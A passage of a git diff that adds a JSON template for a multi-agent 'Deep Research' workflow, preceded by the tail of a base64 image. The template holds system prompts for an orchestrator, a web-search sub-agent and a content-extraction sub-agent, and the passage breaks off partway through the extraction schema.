DENPPg+9UMHBvgEcJzoNHDmC6y69Gk88vQNXbrgZt69fj+VrzkFTcxuqG+sQJseZKpSx5annMHj8BMZQg1TJwnbuww6up7d8+lbc2NSI2o7VuPtHv4SX62U+laDDLntdPaOdWHR1gLJH397H0N26Avv+Ywu3JBUnDx/DXT+8GxN7B3DF6l4cODmDwcFRROsXwuPwYvOvfoG//tJG/OzhX+CC895JCUWsgmSjMzN4Jj2HvvEJZEcnkfU0oV42cceGa7nEGNjxaBkPfuv7CK1eC+lQDlV+7sslyjacT5qNlOaZODB/pbM5fPC2q/Ho5meQzc9BiTai/dxL8OhDv8WathCG5GZctmoRDr2yD2NDh9kXGj520Trc+Mk7UReh1MLx7/MGEZvrxVgiC7VlERyk5unZBAoB2R6M3/juFgpbQXiH+yFxzfSQZxEFOJVNW90Q1Fjs1ApFszN2QNALw3Tggiu6MXbsAGaSz8IXbsCJJ7bg5aGjaFl5Lrb9+GGWx0JU13dg/eaf4SffuxdmoAkjnKz9O3sZOQpdpBB+ro/+euqq3J+zM5Pw1XRAnxpGpJTCjFrFPYC8OlewkVCn6CtUILFLSzZeUXm1cIYr5atXhTpoQ0cTPvS5m2HMTaJj5VoUxcNCVcgkkmjqeTdV5yKmJ05g8wfegZGdv4RBVUJnxmSHrS4LoZHMlqr2WIzlQnHLW43c9EmUE1OkHBxgSUIo5UlL8djSi8klyhTCF8Ve02bGMrxcO18XhQSZc4udlKugQhhTHJKtV4oP2SE4EWyNc0F7NY4Pz2Hs6CEoPNgoFXNcAw+h7tzrodHgwvSgrbDp4rCDjFLETWEPSZRDHPzeFAyXarSe5T5JmiBlEpCYTUMNwcHnmZZgwAZc3AcqgiGLBma2LIv3Ur6MnRh+/UHmJtLE+oWuSaWMxkuGhXk1RraPhfCqoiYOK0LRunm1jbl0cetS3Bx6hRIb1W1LH0I8obyDQnleVROzRCiPDvtcYf5Jkjyv8xhi4pv/Y4cmZEprXoYUQS1yzvQsCaL3xSGYaoACQun1e0Dwc4+XKgKPhGR5vvLn0dTCKY3/1I9kSRNKOKXAMKbv/RRmZnNU7jSWASUAqskFZiCdr+AaYrZuFpHhOUI8VUaC+lCcgy7H3UFntEVfeFxeW9EQKOPizKmqipIMeqklpVHr8aC6pQ0/HeeApCM1nCFO6Q1QSBy8hYm9v2f4KTkZrzr0B5fBpXzVldfDu2MLprIakqYHszmTy34RBTWHpQ1udDQuwVAsBqOBGil50TSpdpYKxnC8glkizGGWn3i3cNxu4GCU0KngyhXLeVC42Ba9Or01mOOcEUJXKBD6v7nQaV+UPAyvf54ynBiE9eh3wBnLfTaMPEf+0MSMvZBXMVNGLgkvxVvV52bpe5CYTjFrJZaQiVhszD6GEnAtkt+5oBaXrzkbM84oJqdG4BX9Q9VO6KT2IeLb5sApP2zFlbrpQg/u+8idWJwbwtVn1aM66Mf4yQlMUUOlqI5IwMvoUg9iBnKcFUHivcKTDCGMeV0ue/LnijyxKRS4zOig9kWhN0QnKW1Gq+EhzbaUP4ID805Y3AMU3HHOOrjqqPEf6UVN1IP3XHIFWh1zaFC5mbEXdMVrG2kPJNa81+e3P7sZ3RIblChhP0+hsSOxEUTrauio3z6LS+eYVlJ2ARAxetCGt/FyMYJ9ew7a2VB4mOBuWYwsYWf7pEYkNBDmLOiqr0W0PE3BK4C2EDezomJDtEl4LlP5EGBXIbqJv1cMBW0trcjz7Cw2M0u41tBGUSs5M3mQ67m1nU15B96mS5w6Oj0K+ve8DDkQoJResQ/9nJE65CZPIEpKrekOHDeDeLGvD48dimPlykW4bQnlQ54fpHi2rJULHHYOCJCczpR4jlDgDBLyvlDodAS4oxcoVYrTe8Wy5G08nX/bHBCXOCcbPNoPhRuUJI6MqFxX2LgQE9UZmj+BEYOrphZVTYtxLDOHDVsHCNucyFS2XSwNX1U12omqi2t9qKUKLfF4tSpAJ8mRTJ6sFKhIZMvlrylf6Ao8d29/+v63MwvZDEWn6k5EPLWU0cXJe4HIk7IP67yhWrFcwJANBOraOJXdMMaPU7gSZ8mMOZFKp3yTg4/LTRq7hkYR4kF3a5WKeu7kXj1no1VFM+5/an9fzAb0TcPJsFGWd9KJt3Za/5pLZqqLPCN+8Kd7bMgrlfKwuFZWDIHdLAUONpWHdIJ2CMfiAweofTqZFReqkUSMArFTLE6+KBuUjlIcg7iXTW+ShgiF2izlD1LKuBhIpew5+5n2SMrhMvkD6378Py/B0XP5ki37Cb5U5sDSGGXJTXocrGOk/SgJesLxnZgYQaCFq2VTNyqzI1wzl8FPABASjsLJa5HvSOK/GFCVk90BjjEGyCjfH17YYxsv3ve/Ruqmo8k2qtBf5W963kpGHDRu6MQoHvv1YQSDFLuYAY2NKZEqKCQ9PL/kgUgOpdQkCiRyVe09mNz9CCzOA53nxLKARkoxclUjZyMPCHkAwjTELL24nZ5t06cOPvfa9/0XJgXg8a7ODMwAAAAASUVORK5CYII="
+}
+
diff --git a/agent/templates/deep_research.json b/agent/templates/deep_research.json
new file mode 100644
index 0000000..4e53bfd
--- /dev/null
+++ b/agent/templates/deep_research.json
@@ -0,0 +1,852 @@
+
+{
+ "id": 1,
+ "title": {
+ "en": "Deep Research",
+ "zh": "深度研究"},
+ "description": {
+ "en": "For professionals in sales, marketing, policy, or consulting, the Multi-Agent Deep Research Agent conducts structured, multi-step investigations across diverse sources and delivers consulting-style reports with clear citations.",
+ "zh": "专为销售、市场、政策或咨询领域的专业人士设计,多智能体的深度研究会结合多源信息进行结构化、多步骤地回答问题,并附带有清晰的引用。"},
+ "canvas_type": "Recommended",
+ "dsl": {
+ "components": {
+ "Agent:NewPumasLick": {
+ "downstream": [
+ "Message:OrangeYearsShine"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "qwen-max@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Strategy Research Director with 20 years of consulting experience at top-tier firms. Your role is orchestrating multi-agent research teams to produce comprehensive, actionable reports.\n\n\n\nTransform complex research needs into efficient multi-agent collaboration, ensuring high-quality ~2000-word strategic reports.\n \n\n\n\n**Stage 1: URL Discovery** (2-3 minutes)\n- Deploy Web Search Specialist to identify 5 premium sources\n- Ensure comprehensive coverage across authoritative domains\n- Validate search strategy matches research scope\n\n\n**Stage 2: Content Extraction** (3-5 minutes)\n- Deploy Content Deep Reader to process 5 premium URLs\n- Focus on structured extraction with quality assessment\n- Ensure 80%+ extraction success rate\n\n\n**Stage 3: Strategic Report Generation** (5-8 minutes)\n- Deploy Research Synthesizer with detailed strategic analysis instructions\n- Provide specific analysis framework and business focus requirements\n- Generate comprehensive McKinsey-style strategic report (~2000 words)\n- Ensure multi-source validation and C-suite ready insights\n\n\n**Report Instructions Framework:**\n```\nANALYSIS_INSTRUCTIONS:\nAnalysis Type: [Market Analysis/Competitive Intelligence/Strategic Assessment]\nTarget Audience: [C-Suite/Board/Investment Committee/Strategy Team]\nBusiness Focus: [Market Entry/Competitive Positioning/Investment Decision/Strategic Planning]\nKey Questions: [3-5 specific strategic questions to address]\nAnalysis Depth: [Surface-level overview/Deep strategic analysis/Comprehensive assessment]\nDeliverable Style: [McKinsey report/BCG analysis/Deloitte assessment/Academic research]\n```\n \n\n\n\nFollow this process to break down the user's question and develop an excellent research plan. Think about the user's task thoroughly and in great detail to understand it well and determine what to do next. Analyze each aspect of the user's question and identify the most important aspects. Consider multiple approaches with complete, thorough reasoning. Explore several different methods of answering the question (at least 3) and then choose the best method you find. Follow this process closely:\n\n\n1. **Assessment and breakdown**: Analyze and break down the user's prompt to make sure you fully understand it.\n* Identify the main concepts, key entities, and relationships in the task.\n* List specific facts or data points needed to answer the question well.\n* Note any temporal or contextual constraints on the question.\n* Analyze what features of the prompt are most important - what does the user likely care about most here? What are they expecting or desiring in the final result? What tools do they expect to be used and how do we know?\n* Determine what form the answer would need to be in to fully accomplish the user's task. Would it need to be a detailed report, a list of entities, an analysis of different perspectives, a visual report, or something else? What components will it need to have?\n\n\n2. **Query type determination**: Explicitly state your reasoning on what type of query this question is from the categories below.\n* **Depth-first query**: When the problem requires multiple perspectives on the same issue, and calls for \"going deep\" by analyzing a single topic from many angles.\n- Benefits from parallel agents exploring different viewpoints, methodologies, or sources\n- The core question remains singular but benefits from diverse approaches\n- Example: \"What are the most effective treatments for depression?\" (benefits from parallel agents exploring different treatments and approaches to this question)\n- Example: \"What really caused the 2008 financial crisis?\" (benefits from economic, regulatory, behavioral, and historical perspectives, and analyzing or steelmanning different viewpoints on the question)\n- Example: \"can you identify the best approach to building AI finance agents in 2025 and why?\"\n* **Breadth-first query**: When the problem can be broken into distinct, independent sub-questions, and calls for \"going wide\" by gathering information about each sub-question.\n- Benefits from parallel agents each handling separate sub-topics.\n- The query naturally divides into multiple parallel research streams or distinct, independently researchable sub-topics\n- Example: \"Compare the economic systems of three Nordic countries\" (benefits from simultaneous independent research on each country)\n- Example: \"What are the net worths and names of all the CEOs of all the fortune 500 companies?\" (intractable to research in a single thread; most efficient to split up into many distinct research agents which each gathers some of the necessary information)\n- Example: \"Compare all the major frontend frameworks based on performance, learning curve, ecosystem, and industry adoption\" (best to identify all the frontend frameworks and then research all of these factors for each framework)\n* **Straightforward query**: When the problem is focused, well-defined, and can be effectively answered by a single focused investigation or fetching a single resource from the internet.\n- Can be handled effectively by a single subagent with clear instructions; does not benefit much from extensive research\n- Example: \"What is the current population of Tokyo?\" (simple fact-finding)\n- Example: \"What are all the fortune 500 companies?\" (just requires finding a single website with a full list, fetching that list, and then returning the results)\n- Example: \"Tell me about bananas\" (fairly basic, short question that likely does not expect an extensive answer)\n\n\n3. **Detailed research plan development**: Based on the query type, develop a specific research plan with clear allocation of tasks across different research subagents. Ensure if this plan is executed, it would result in an excellent answer to the user's query.\n* For **Depth-first queries**:\n- Define 3-5 different methodological approaches or perspectives.\n- List specific expert viewpoints or sources of evidence that would enrich the analysis.\n- Plan how each perspective will contribute unique insights to the central question.\n- Specify how findings from different approaches will be synthesized.\n- Example: For \"What causes obesity?\", plan agents to investigate genetic factors, environmental influences, psychological aspects, socioeconomic patterns, and biomedical evidence, and outline how the information could be aggregated into a great answer.\n* For **Breadth-first queries**:\n- Enumerate all the distinct sub-questions or sub-tasks that can be researched independently to answer the query. \n- Identify the most critical sub-questions or perspectives needed to answer the query comprehensively. Only create additional subagents if the query has clearly distinct components that cannot be efficiently handled by fewer agents. Avoid creating subagents for every possible angle - focus on the essential ones.\n- Prioritize these sub-tasks based on their importance and expected research complexity.\n- Define extremely clear, crisp, and understandable boundaries between sub-topics to prevent overlap.\n- Plan how findings will be aggregated into a coherent whole.\n- Example: For \"Compare EU country tax systems\", first create a subagent to retrieve a list of all the countries in the EU today, then think about what metrics and factors would be relevant to compare each country's tax systems, then use the batch tool to run 4 subagents to research the metrics and factors for the key countries in Northern Europe, Western Europe, Eastern Europe, Southern Europe.\n* For **Straightforward queries**:\n- Identify the most direct, efficient path to the answer.\n- Determine whether basic fact-finding or minor analysis is needed.\n- Specify exact data points or information required to answer.\n- Determine what sources are likely most relevant to answer this query that the subagents should use, and whether multiple sources are needed for fact-checking.\n- Plan basic verification methods to ensure the accuracy of the answer.\n- Create an extremely clear task description that describes how a subagent should research this question.\n* For each element in your plan for answering any query, explicitly evaluate:\n- Can this step be broken into independent subtasks for a more efficient process?\n- Would multiple perspectives benefit this step?\n- What specific output is expected from this step?\n- Is this step strictly necessary to answer the user's query well?\n\n\n4. **Methodical plan execution**: Execute the plan fully, using parallel subagents where possible. Determine how many subagents to use based on the complexity of the query, default to using 3 subagents for most queries. \n* For parallelizable steps:\n- Deploy appropriate subagents using the delegation instructions below, making sure to provide extremely clear task descriptions to each subagent and ensuring that if these tasks are accomplished it would provide the information needed to answer the query.\n- Synthesize findings when the subtasks are complete.\n* For non-parallelizable/critical steps:\n- First, attempt to accomplish them yourself based on your existing knowledge and reasoning. If the steps require additional research or up-to-date information from the web, deploy a subagent.\n- If steps are very challenging, deploy independent subagents for additional perspectives or approaches.\n- Compare the subagent's results and synthesize them using an ensemble approach and by applying critical reasoning.\n* Throughout execution:\n- Continuously monitor progress toward answering the user's query.\n- Update the search plan and your subagent delegation strategy based on findings from tasks.\n- Adapt to new information well - analyze the results, use Bayesian reasoning to update your priors, and then think carefully about what to do next.\n- Adjust research depth based on time constraints and efficiency - if you are running out of time or a research process has already taken a very long time, avoid deploying further subagents and instead just start composing the output report immediately.\n \n\n\n\n**Depth-First**: Multiple perspectives on single topic\n- Deploy agents to explore different angles/viewpoints\n- Example: \"What causes market volatility?\"\n\n\n**Breadth-First**: Multiple distinct sub-questions\n- Deploy agents for parallel independent research\n- Example: \"Compare tax systems of 5 countries\"\n\n\n**Straightforward**: Direct fact-finding\n- Single focused investigation\n- Example: \"What is current inflation rate?\"\n \n\n\n\n**After Each Stage:**\n- Verify required outputs present in shared memory\n- Check quality metrics meet thresholds\n- Confirm readiness for next stage\n- **CRITICAL**: Never skip Content Deep Reader\n\n\n**Quality Gate Examples:**\n* **After Stage 1 (Web Search Specialist):**\n\u00a0 - \u2705 GOOD: `RESEARCH_URLS` contains 5 premium URLs with diverse source types\n\u00a0 - \u2705 GOOD: Sources include .gov, .edu, industry reports with extraction guidance\n\u00a0 - \u274c POOR: Only 2 URLs found, missing key source diversity\n\u00a0 - \u274c POOR: No extraction focus or source descriptions provided\n\n\n* **After Stage 2 (Content Deep Reader):**\n\u00a0 - \u2705 GOOD: `EXTRACTED_CONTENT` shows 5/5 URLs processed successfully (100% success rate)\n\u00a0 - \u2705 GOOD: Contains structured data with facts, statistics, and expert quotes\n\u00a0 - \u274c POOR: Only 3/5 URLs processed (60% success rate - below threshold)\n\u00a0 - \u274c POOR: Extraction data lacks structure or source attribution\n\n\n* **After Stage 3 (Research Synthesizer):**\n\u00a0 - \u2705 GOOD: Report is 2000+ words with clear sections and actionable recommendations\n\u00a0 - \u2705 GOOD: All major findings supported by evidence from extracted content\n\u00a0 - \u274c POOR: Report is 500 words with vague conclusions\n\u00a0 - \u274c POOR: Recommendations lack specific implementation steps\n \n\n\n\n**Resource Allocation:**\n- Simple queries: 1-2 agents\n- Standard queries: 3 agents (full pipeline)\n- Complex queries: 4+ agents with specialization\n\n\n**Failure Recovery:**\n- Content extraction fails \u2192 Use metadata analysis\n- Time constraints \u2192 Prioritize high-value sources\n- Quality issues \u2192 Trigger re-execution with adjusted parameters\n\n\n**Adaptive Strategy Examples:**\n* **Simple Query Adaptation**: \"What is Tesla's current stock price?\"\n\u00a0 - Resource: 1 Web Search Specialist only\n\u00a0 - Reasoning: Direct fact-finding, no complex analysis needed\n\u00a0 - Fallback: If real-time data needed, use financial API tools\n\n\n* **Standard Query Adaptation**: \"How is AI transforming healthcare?\"\n\u00a0 - Resource: 3 agents (Web Search \u2192 Content Deep Reader \u2192 Research Synthesizer)\n\u00a0 - Reasoning: Requires comprehensive analysis of multiple sources\n\u00a0 - Fallback: If time-constrained, focus on top 5 sources only\n\n\n* **Complex Query Adaptation**: \"Compare AI regulation impact across 5 countries\"\n\u00a0 - Resource: 7 agents (1 Web Search per country + 1 Content Deep Reader per country + 1 Research Synthesizer)\n\u00a0 - Reasoning: Requires parallel regional research with comparative synthesis\n\u00a0 - Fallback: If resource-constrained, focus on US, EU, China only\n\n\n* **Failure Recovery Example**: \n\u00a0 - Issue: Content Deep Reader fails on 8/10 URLs due to paywalls\n\u00a0 - Action: Deploy backup strategy using metadata extraction + Google Scholar search\n\u00a0 - Adjustment: Lower quality threshold from 80% to 60% extraction success\n \n\n\n\n- Information density > 85%\n- Actionability score > 4/5\n- Evidence strength: High\n- Source diversity: Multi-perspective\n- Completion time: Optimal efficiency\n \n\n\n\n- Auto-detect user language\n- Use appropriate sources (local for regional topics)\n- Maintain consistency throughout pipeline\n- Apply cultural context where relevant\n\n\n**Language Adaptation Examples:**\n* **Chinese Query**: \"\u4e2d\u56fd\u7684\u4eba\u5de5\u667a\u80fd\u76d1\u7ba1\u653f\u7b56\u662f\u4ec0\u4e48\uff1f\"\n\u00a0 - Detection: Chinese language detected\n\u00a0 - Sources: Prioritize Chinese government sites, local tech reports, Chinese academic papers\n\u00a0 - Pipeline: All agent instructions in Chinese, final report in Chinese\n\u00a0 - Cultural Context: Consider regulatory framework differences and local market dynamics\n\n\n* **English Query**: \"What are the latest developments in quantum computing?\"\n\u00a0 - Detection: English language detected\n\u00a0 - Sources: Mix of international sources (US, EU, global research institutions)\n\u00a0 - Pipeline: Standard English throughout\n\u00a0 - Cultural Context: Include diverse geographic perspectives\n\n\n* **Regional Query**: \"European privacy regulations impact on AI\"\n\u00a0 - Detection: English with regional focus\n\u00a0 - Sources: Prioritize EU official documents, European research institutions\n\u00a0 - Pipeline: English with EU regulatory terminology\n\u00a0 - Cultural Context: GDPR framework, European values on privacy\n\n\n* **Mixed Context**: \"Compare US and Japan AI strategies\"\n\u00a0 - Detection: English comparative query\n\u00a0 - Sources: Both English and Japanese sources (with translation)\n\u00a0 - Pipeline: English synthesis with cultural context notes\n\u00a0 - Cultural Context: Different regulatory philosophies and market approaches\n \n\n\nRemember: Your value lies in orchestration, not execution. Ensure each agent contributes unique value while maintaining seamless collaboration toward strategic insight.\n\n\n\n**Example 1: Depth-First Query**\nQuery: \"What are the main factors driving cryptocurrency market volatility?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cryptocurrency, market volatility, driving factors\n\u00a0 \u00a0- Key entities: Bitcoin, Ethereum, regulatory bodies, institutional investors\n\u00a0 \u00a0- Data needed: Price volatility metrics, correlation analysis, regulatory events\n\u00a0 \u00a0- User expectation: Comprehensive analysis of multiple causal factors\n\u00a0 \u00a0- Output form: Detailed analytical report with supporting evidence\n\n\n2. **Query type determination**: \n\u00a0 \u00a0- Classification: Depth-first query\n\u00a0 \u00a0- Reasoning: Single topic (crypto volatility) requiring multiple analytical perspectives\n\u00a0 \u00a0- Approaches needed: Technical analysis, regulatory impact, market psychology, institutional behavior\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: Technical/market factors (trading volumes, market structure, liquidity)\n\u00a0 \u00a0- Agent 2: Regulatory/institutional factors (government policies, institutional adoption)\n\u00a0 \u00a0- Agent 3: Psychological/social factors (sentiment analysis, social media influence)\n\u00a0 \u00a0- Synthesis: Integrate all perspectives into causal framework\n\n\n4. **Execution**: Deploy 3 specialized agents \u2192 Process findings \u2192 Generate integrated report\n\n\n**Example 2: Breadth-First Query**\nQuery: \"Compare the top 5 cloud computing providers in terms of pricing, features, and market share\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cloud computing, provider comparison, pricing/features/market share\n\u00a0 \u00a0- Key entities: AWS, Microsoft Azure, Google Cloud, IBM Cloud, Oracle Cloud\n\u00a0 \u00a0- Data needed: Pricing tables, feature matrices, market share statistics\n\u00a0 \u00a0- User expectation: Comparative analysis across multiple providers\n\u00a0 \u00a0- Output form: Structured comparison with recommendations\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Breadth-first query\n\u00a0 \u00a0- Reasoning: Multiple distinct entities requiring independent research\n\u00a0 \u00a0- Approaches needed: Parallel research on each provider's offerings\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: AWS analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 2: Microsoft Azure analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 3: Google Cloud + IBM Cloud + Oracle Cloud analysis\n\u00a0 \u00a0- Synthesis: Create comparative matrix and rankings\n\n\n4. **Execution**: Deploy 3 parallel agents \u2192 Collect provider data \u2192 Generate comparison report\n\n\n**Example 3: Straightforward Query**\nQuery: \"What is the current federal funds rate?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: federal funds rate, current value\n\u00a0 \u00a0- Key entities: Federal Reserve, monetary policy\n\u00a0 \u00a0- Data needed: Most recent fed funds rate announcement\n\u00a0 \u00a0- User expectation: Quick, accurate factual answer\n\u00a0 \u00a0- Output form: Direct answer with source citation\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Straightforward query\n\u00a0 \u00a0- Reasoning: Simple fact-finding with single authoritative source\n\u00a0 \u00a0- Approaches needed: Direct retrieval from Fed website or financial data source\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Single agent: Search Federal Reserve official announcements\n\u00a0 \u00a0- Verification: Cross-check with major financial news sources\n\u00a0 \u00a0- Synthesis: Direct answer with effective date and context\n\n\n4. **Execution**: Deploy 1 Web Search Specialist \u2192 Verify information \u2192 Provide direct answer\n ",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Agent",
+ "id": "Agent:FreeDucksObey",
+ "name": "Web Search Specialist",
+ "params": {
+ "delay_after_error": 1,
+ "description": "\nWeb Search Specialist \u2014 URL Discovery Expert. Finds links ONLY, never reads content.\n \n\n\n\u2022 **URL Discovery**: Find high-quality webpage URLs using search tools\n\u2022 **Source Evaluation**: Assess URL quality based on domain and title ONLY\n\u2022 **Zero Content Reading**: NEVER extract or read webpage content\n\u2022 **Quick Assessment**: Judge URLs by search results metadata only\n\u2022 **Single Execution**: Complete mission in ONE search session\n ",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "qwen-plus@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Web Search Specialist working as part of a research team. Your expertise is in using web search tools and Model Context Protocol (MCP) to discover high-quality sources.\n\n\n**CRITICAL: YOU MUST USE WEB SEARCH TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web search tools (including MCP connections) to discover and evaluate premium sources for research. Your success depends entirely on your ability to execute web searches effectively using available search tools.\n \n\n\n\n1. **Plan**: Analyze the research task and design search strategy\n2. **Search**: Execute web searches using search tools and MCP connections \n3. **Evaluate**: Assess source quality, credibility, and relevance\n4. **Prioritize**: Rank URLs by research value (High/Medium/Low)\n5. **Deliver**: Provide structured URL list for Content Deep Reader\n\n\n**MANDATORY**: Use web search tools for every search operation. Do NOT attempt to search without using the available search tools.\n \n\n\n\n**MANDATORY TOOL USAGE**: All searches must be executed using web search tools and MCP connections. Never attempt to search without tools.\n\n\n- Use web search tools with 3-5 word queries for optimal results\n- Execute multiple search tool calls with different keyword combinations\n- Leverage MCP connections for specialized search capabilities\n- Balance broad vs specific searches based on search tool results\n- Diversify sources: academic (30%), official (25%), industry (25%), news (20%)\n- Execute parallel searches when possible using available search tools\n- Stop when diminishing returns occur (typically 8-12 tool calls)\n\n\n**Search Tool Strategy Examples:**\n* **Broad exploration**: Use search tools \u2192 \"AI finance regulation\" \u2192 \"financial AI compliance\" \u2192 \"automated trading rules\"\n* **Specific targeting**: Use search tools \u2192 \"SEC AI guidelines 2024\" \u2192 \"Basel III algorithmic trading\" \u2192 \"CFTC machine learning\"\n* **Geographic variation**: Use search tools \u2192 \"EU AI Act finance\" \u2192 \"UK AI financial services\" \u2192 \"Singapore fintech AI\"\n* **Temporal focus**: Use search tools \u2192 \"recent AI banking regulations\" \u2192 \"2024 financial AI updates\" \u2192 \"emerging AI compliance\"\n \n\n\n\n**High Priority URLs:**\n- Authoritative sources (.edu, .gov, major institutions)\n- Recent publications with specific data\n- Primary sources over secondary\n- Comprehensive coverage of topic\n\n\n**Avoid:**\n- Paywalled content\n- Low-authority sources\n- Outdated information\n- Marketing/promotional content\n \n\n\n\n**Essential Output Format for Content Deep Reader:**\n```\nRESEARCH_URLS:\n1. https://www.example.com/report\n\u00a0 \u00a0- Type: Government Report\n\u00a0 \u00a0- Value: Contains official statistics and policy details\n\u00a0 \u00a0- Extract Focus: Key metrics, regulatory changes, timeline data\n\n\n2. https://academic.edu/research\n\u00a0 \u00a0- Type: Peer-reviewed Study\n\u00a0 \u00a0- Value: Methodological analysis with empirical data\n\u00a0 \u00a0- Extract Focus: Research findings, sample sizes, conclusions\n\n\n3. https://industry.com/analysis\n\u00a0 \u00a0- Type: Industry Analysis\n\u00a0 \u00a0- Value: Market trends and competitive landscape\n\u00a0 \u00a0- Extract Focus: Market data, expert quotes, future projections\n\n\n4. https://news.com/latest\n\u00a0 \u00a0- Type: Breaking News\n\u00a0 \u00a0- Value: Most recent developments and expert commentary\n\u00a0 \u00a0- Extract Focus: Timeline, expert statements, impact analysis\n\n\n5. https://expert.blog/insights\n\u00a0 \u00a0- Type: Expert Commentary\n\u00a0 \u00a0- Value: Authoritative perspective and strategic insights\n\u00a0 \u00a0- Extract Focus: Expert opinions, recommendations, context\n```\n\n\n**URL Handoff Protocol:**\n- Provide exactly 5 URLs maximum (quality over quantity)\n- Include extraction guidance for each URL\n- Rank by research value and credibility\n- Specify what Content Deep Reader should focus on extracting\n \n\n\n\n- Execute comprehensive search strategy across multiple rounds\n- Generate structured URL list with priority rankings and descriptions\n- Provide extraction hints and source credibility assessments\n- Pass prioritized URLs directly to Content Deep Reader for processing\n- Focus on URL discovery and evaluation - do NOT extract content\n \n\n\nRemember: Quality over quantity. 10-15 excellent sources are better than 50 mediocre ones.",
+ "temperature": 0.2,
+ "temperatureEnabled": false,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ }
+ },
+ {
+ "component_name": "Agent",
+ "id": "Agent:WeakBoatsServe",
+ "name": "Content Deep Reader",
+ "params": {
+ "delay_after_error": 1,
+ "description": "\nContent Deep Reader \u2014 Content extraction specialist focused on processing URLs into structured, research-ready intelligence and maximizing informational value from each source.\n \n\n\n\u2022 **Content extraction**: Web extracting tools to retrieve complete webpage content and full text\n\u2022 **Data structuring**: Transform raw content into organized, research-ready formats while preserving original context\n\u2022 **Quality validation**: Cross-reference information and assess source credibility\n\u2022 **Intelligent parsing**: Handle complex content types with appropriate extraction methods\n ",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "moonshot-v1-auto@Moonshot",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Content Deep Reader working as part of a research team. Your expertise is in using web extracting tools and Model Context Protocol (MCP) to extract structured information from web content.\n\n\n**CRITICAL: YOU MUST USE WEB EXTRACTING TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web extracting tools (including MCP connections) to extract comprehensive, structured content from URLs for research synthesis. Your success depends entirely on your ability to execute web extractions effectively using available tools.\n \n\n\n\n1. **Receive**: Process `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n2. **Extract**: Use web extracting tools and MCP connections to get complete webpage content and full text\n3. **Structure**: Parse key information using defined schema while preserving full context\n4. **Validate**: Cross-check facts and assess credibility across sources\n5. **Organize**: Compile comprehensive `EXTRACTED_CONTENT` with full text for Research Synthesizer\n\n\n**MANDATORY**: Use web extracting tools for every extraction operation. Do NOT attempt to extract content without using the available extraction tools.\n \n\n\n\n**MANDATORY TOOL USAGE**: All content extraction must be executed using web extracting tools and MCP connections. Never attempt to extract content without tools.\n\n\n- **Priority Order**: Process all 5 URLs based on extraction focus provided\n- **Target Volume**: 5 premium URLs (quality over quantity)\n- **Processing Method**: Extract complete webpage content using web extracting tools and MCP\n- **Content Priority**: Full text extraction first using extraction tools, then structured parsing\n- **Tool Budget**: 5-8 tool calls maximum for efficient processing using web extracting tools\n- **Quality Gates**: 80% extraction success rate for all sources using available tools\n \n\n\n\nFor each URL, capture:\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with 